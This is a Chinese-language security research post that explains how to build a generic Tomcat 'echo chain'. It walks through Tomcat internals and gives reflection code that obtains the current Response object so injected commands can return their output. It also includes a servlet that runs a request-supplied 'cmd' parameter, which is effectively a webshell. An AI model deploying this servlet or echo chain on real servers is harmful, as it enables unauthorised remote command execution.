Java安全之基於Tomcat的通用回顯鏈
寫在前面
首先看這篇文還是建議簡單了解下Tomcat中的一些概念,不然看起來會比較吃力。其次是回顧下反射中有關Field類的一些操作。
* Field[] getFields() :獲取所有public修飾的成員變量
* Field getField(String name) 獲取指定名稱的 public修飾的成員變量
* Field[] getDeclaredFields() 獲取所有的成員變量,不考慮修飾符
* Field getDeclaredField(String name)
Field:成員變量
* 操作:
1. 設置值
* void set(Object obj, Object value)
2. 獲取值
* get(Object obj)
3. 忽略訪問權限修飾符的安全檢查
* setAccessible(true):暴力反射
getField和getDeclaredField區別:
getField
獲取一個類的 ==public成員變量,包括基類== 。
getDeclaredField
獲取一個類的 ==所有成員變量,不包括基類== 。
Tomcat 通用回顯
是Litch1
師傅提出的一個思路,通過找Tomcat中全局存儲的request或response對象,進而挖掘出一種在Tomcat下可以通殺的回顯鏈。依據師傅的文章進行調試。
調試前先解決一個問題,普通的一個命令執行是如何進行回顯的。
代碼如下:整體流程就是通過request
對象拿到我們要執行的命令,並作為參數帶到執行命令的方法中,將命令結果作為InputStream
,通過response
對象resp.getWriter().write()
方法輸出命令執行的結果,從而在頁面獲得回顯。
@WebServlet("/HXServlet")
public class HXServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req,resp);
}
}
調試分析
那么在回顯鏈中也就需要我們拿到response
對象。
如果需要找一個全局存儲的request或response對象,那就要在底層看Tomcat處理request或response對象的流程。
這里起了一個Tomcat9.0.24做測試,debug后觀察調用棧,進入文章中提到的Http11Processor
類
在該類的父類AbstractProcessor
中,存在request和response對象,並且是final修飾的,那么就不可以被直接修改,且該request和response符合我們的預期,我們可以通過這里的request和response對象構造回顯。
接下來就是往前尋找這個類在什么地方進行初始化的,這樣拿到Http11Processor
對象就可以獲取到request和response對象了。
在 AbstractProtocol$ConnectionHandler (org.apache.coyote)
中發現已經生成了Http1Processor
對象
register
方法中處理如下:最終是將一個RequestGroupInfo
對象放到了AbstractProtocol
的內部類ConnectionHandler
中的global
屬性
而RequestGroupInfo
存儲了一個RequestInfo
的List
在RequestInfo
中就包含了Request
對象,那么可以通過Request
對象來拿到我們最終的Response
(Request.getResponse()
)。
調用流程如下:
AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response。
后面就是要找有沒有地方有存儲AbstractProtocol(繼承AbstractProtocol的類)。發現在CoyoteAdapter
類中的connector
屬性有很多處理Request的操作,跟進查看后Connector中存在ProtocolHandler類型的Field,而ProtocolHandler的實現類中就存在AbstractProtocol
而在Tomcat啟動過程紅會將Connector放入Service中,這里的Service為StandardService。
所以調用鏈變為
StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
而獲取StandardService
就變成了現在的關鍵,文中給出的是通過線程上下文類加載器,WebappClassLoaderBase
Thread類中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用來獲取和設置上下文類加載器,如果沒有setContextClassLoader(ClassLoader cl)方法通過設置類加載器,那么線程將繼承父線程的上下文類加載器,如果在應用程序的全局范圍內都沒有設置的話,那么這個上下文類加載器默認就是應用程序類加載器。對於Tomcat來說ContextClassLoader被設置為WebAppClassLoader(在一些框架中可能是繼承了public abstract WebappClassLoaderBase的其他Loader)。
最后的調用鏈為
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
回顯鏈構造與分析
先放上代碼
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
@WebServlet("/demo")
public class TomcatEcho extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
/*
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->
--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
*/
//0x01 首先通過WebappClassLoaderBase來拿到StandardContext上下文
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
//0x02 反射獲取ApplicationContext上下文。拋出疑問1:為什么要拿這個上下文?
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
//0x03 反射獲取StandardService類型的屬性service的值
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
//0x04 反射獲取StandardService中的Connectors數組
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[]) connectors.get(standardService);
//0x04 反射獲取protocolHandler,為后續獲取RequestGroupInfo數組作准備
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
//0x05 反射獲取AbstractProtocol list。拋出疑問2:為什么要用getDeclaredClasses()?
Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
//這里的classes數組為內置類,AbstractProtocol有兩個內置類:ConnectionHandler、RecycledProcessors,我們需要的是ConnectionHandler
for (Class<?> declaredClass : declaredClasses) {
//通過全限定類名長度篩選出ConnectionHandler
if (declaredClass.getName().length()==52){
// 0x06 獲取getHandler方法,為后續獲取global屬性值:RequestGroupInfo數組作准備
java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandler.setAccessible(true);
// 0x07 反射獲取global屬性值:RequestGroupInfo數組
Field global = declaredClass.getDeclaredField("global");
global.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));
// 0x08 反射獲取RequestGroupInfo中processors,該屬性值為元素類型為RequestInfo的List數組
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<org.apache.coyote.RequestInfo> requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
// 0x09 反射獲取RequestInfo中的org.apache.coyote.Request類
Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req1.setAccessible(true);
// 0x10 遍歷RequestGroupInfo中processors的屬性值,尋找需要的Request對象
for (RequestInfo info : requestInfo) {
org.apache.coyote.Request request = (Request) req1.get(info);
// 0x11 通過getNote()方法獲取org.apache.catalina.connector.Request對象。拋出問題3:為什么要用org.apache.catalina.connector.Request對象?拋出問題4:為什么要用getNote方法獲取?
org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
// 0x12 拿到response對象,回顯鏈構造完畢
org.apache.catalina.connector.Response response = request1.getResponse();
response.getWriter().write("123");
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
貼個回顯命令執行結果的圖慶祝一下
踩坑記錄
下面對構造回顯鏈的poc時的坑點以及疑問做一下記錄:
-
反射:關於反射之前沒有仔細學習Field類的相關方法,上面構造時經常要用到獲取某個類中某個屬性的值,以StandarService舉例,代碼如下:獲取到Field對象之后需要調用field.get(context)來拿到對應屬性的值
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
-
關於回顯鏈代碼中出現的兩個上下文:StandardContext和ApplicationContext
首先我們通過
webappClassLoaderBase.getResources().getContext()
拿到的是StandardContext
但是這還不夠,回顯鏈的入口點為StandardService
,而在StandardContext
上下文中是沒有保存StandardService
的,需要先獲取`StandardContext成員變量ApplicationContext進而獲取Service。這點觀察源碼就可以發現。在Servlet中ServletContext表示web應用的上下文環境,而對應在tomcat中,ServletContext對應tomcat實現是org.apache.catalina.core.ApplicationContext,Context容器對應tomcat實現是org.apache.catalina.core.StandardContext。ApplicationContext是StandardContext的一個成員變量。
-
反射獲取
AbstractProtocol
為什么要用getDeclaredClasses()
因為這里要獲取內部類
ConnectionHandler
,所以需要用到getDeclaredClasses()
方法獲取內部類 getDeclaredClasses()
獲取外部類 getDeclaringClass() -
最后為什么用
org.apache.catalina.connector.Request
對象來獲取Response
org.apache.coyote.Request request = (Request) req1.get(info); // 0x11 通過getNote()方法獲取org.apache.catalina.connector.Request對象。拋出問題3:為什么要用org.apache.catalina.connector.Request對象?拋出問題4:為什么要用getNote方法獲取? org.apache.catalina.connector.Request request1
這里
org.apache.coyote.Request
確實有getResponse方法,也能拿到Response對象,但是看一下org.apache.coyote.Response
代碼和org.apache.catalina.connector.Response
區別:org.apache.coyote.Response
沒有實現HttpServletResponse
接口,也沒有getWriter()
等方法幫我們制造回顯,所以沒選擇用它。
-
關於Request對象哪里的的getNote()方法
獲取到
Request
需要調用request.getNote(1);
轉換為org.apache.catalina.connector.Request
的對象。這個方法是在org.apache.coyote.Request中定義的,詳細解讀可參考:https://segmentfault.com/a/1190000022261740
通過調用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 來獲取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 對象